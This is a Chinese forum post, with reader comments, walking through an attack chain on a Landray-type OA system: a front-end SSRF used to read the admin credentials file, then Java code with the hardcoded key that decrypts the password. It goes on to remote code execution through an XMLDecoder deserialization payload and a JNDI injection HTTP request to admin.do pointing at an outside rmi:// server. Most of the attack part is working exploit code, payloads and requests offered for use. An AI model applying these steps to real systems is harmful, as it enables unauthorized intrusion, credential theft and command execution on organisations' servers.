某凌OA前台SSRF进一步利用到RCE
某凌OA前台SSRF漏洞
漏洞地址:
/sys/ui/extend/varkind/custom.jsp
直接贴源码:
<%@page import="com.landray.kmss.util.ResourceUtil"%>
<%@page import="net.sf.json.JSONArray"%>
<%@page import="net.sf.json.JSONObject"%>
<%@ page language="java" pageEncoding="UTF-8"%>
<%@ taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core"%>
<%
JSONObject vara = JSONObject.fromObject(request.getParameter("var"));
JSONObject body = JSONObject.fromObject(vara.get("body"));
%>
<c:import url='<%=body.getString("file") %>'>
<c:param name="var" value="${ param['var'] }"></c:param>
</c:import>
挺简单的一处漏洞。。
内容就是一堆套娃处理。不细说。
问题就是在于<c:import url=
<c:import>标签提供了所有<jsp:include>行为标签所具有的功能,同时也允许包含绝对URL。
举例来说,使用<c:import>标签可以包含一个FTP服务器中不同的网页内容。
url
的内容可控为json
内容中的file键值
。
这里的url可以是相对路径和绝对路径或者是其他主机的资源。
简单来说就是一处ssrf
。并且是有回显
的。
看了大部分poc都是利用file协议
去读取passwd
。
你以为文章到这就结束了???这才刚刚开始。
既然是SSRF,并且可以读文件还支持相对路径?。这不好好利用一下?
如果你看过OA的配置文档。你就知道,admin.do
这个路径是管理系统配置。并且,该地址的密码是以硬编码的格式保存在本地的。
路径:WEB-INF/KmssConfig/admin.properties
既然上面的ssrf支持相对路径和绝对路径。并且,是有回显的。那么只需要读取这个路径的文件就可以了。
成功得到密码,但是这里要注意kmss.properties.encrypt.enabled = true
如果为ture,则说明password的内容是加密过的。
那么就需要进一步解密。
先看看这个文件在哪里被读取了。
在com.landray.kmss.sys.config.constant.SysConfigConstant
类中,admin.properties
的路径被存储在变量ADMIN_PROPERTIES_PATH
中。
继续查找,看一下哪里调用了ADMIN_PROPERTIES_PATH
变量
最终在com.landray.kmss.sys.config.action.SysConfigAdminUtil
中发现getAdminProperties
方法中存在调用。
看了下具体逻辑。
if (isEncryptEnabled(p))
p.setProperty("password", doPasswordDecrypt(
p.getProperty("password")));
return p;
}
如果配置文件中的加密选项为true。则进入doPasswordDecrypt
方法进行解密。
这不就直接可以了吗?
解密代码:
import com.landray.kmss.util.DESEncrypt;
public class main {
public static void main(String[] args) {
String password = "mqwEyqHLj9PQXpy+yhf4z92SejWx+VeS";
String resul=doPasswordDecrypt(password);
System.out.println(resul);
}
public static String doPasswordDecrypt(String password) {
try {
DESEncrypt des = new DESEncrypt("kmssAdminKey");
return des.decryptString(password);
} catch (Exception ex) {
try {
DESEncrypt des0 = new DESEncrypt("kmssAdminKey", true);
return des0.decryptString(password);
} catch (Exception e) {
return "hh";
}
}
}
}
得到解密结果
直接访问admin.do
进行登陆。
到了这一步。。。估计其他师傅已经知道怎么rce了。jndi
,jdbc反序列化
就可以直接rce了
不过,对于我这种懒狗来说。还是不够简洁。
对于admin账号。可以直接在前台登陆。
然后利用hw期间爆出的后台洞就可以直接拿到shell。
这里摸一个0day,带走。
也可以使用之前在星球发过的xmldecoder
反序列化漏洞。
POC:
/sys/search/sys_search_main/sysSearchMain.do?method=editParam&fdParemNames=11&fdParameters=<payload>
使用XMLDecoder-payload-generator
生成payload。
github地址:
https://github.com/mhaskar/XMLDecoder-payload-generator
<?xml version="1.0" encoding="UTF-8"?> <java version="1.7.0_21" class="java.beans.XMLDecoder"> <void class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="2"><void index="0"><string>ping</string></void><void index="1"><string>test.****.dnslog.cn</string></void></array> <void method="start" id="process"> </void> </void> </java>
这里测试下dnslog
成功RCE
填坑:
上文中写到admin账户可以直接在前台登陆,其实不然,后续针对源码进行了一下分析,发现前后台的admin账户并非一个。后台以DES编码保存在本地文件WEB-INF/KmssConfig/admin.properties
下。而前台的admin账户则是有数据库中读取,上文中只能以"运气好"来描述,前台和后台共用了一个密码。
当我们进入后台,也是可以利用JNDI
注入来进行远程命令执行的
OA使用的是自带的jdk1.7
.
可以直接使用网上的Payload进行jndi注入。
EXP工具:https://github.com/welk1n/JNDI-Injection-Exploit
使用1.7地址 然后直接点击测试链接就可以:
POC:
POST /admin.do HTTP/1.1
Host: adderss
Connection: close
Content-Length: 61
sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="90", "Google Chrome";v="90"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: LtpaToken=; JSESSIONID=9A9692B5AC5ABEB779C4F77244E73362
method=testDbConn&datasource=rmi://ip:port/sxoevq
很好奇师傅们怎么整的源码
@ttk 。。。不知道哪儿来的@
@ttk 找源码的姿势有很多,比较知名的你可以闲鱼找找
怎么可以看到他的源码呢?
@test 不太明白师傅的意思,是想读它源码?
海神。YYDS,你为什么这么强。为什么我只能仰望你。。好想跟你在一个宿舍 不断学习
又见海神墨宝,感动稀里哗啦的
@kid 师傅也要好好学习哦
解密代码缺少引入jar包
@Nginx 加密规则是DES,随便找一个在线解密的网站就可以了,密匙:kmssAdminKey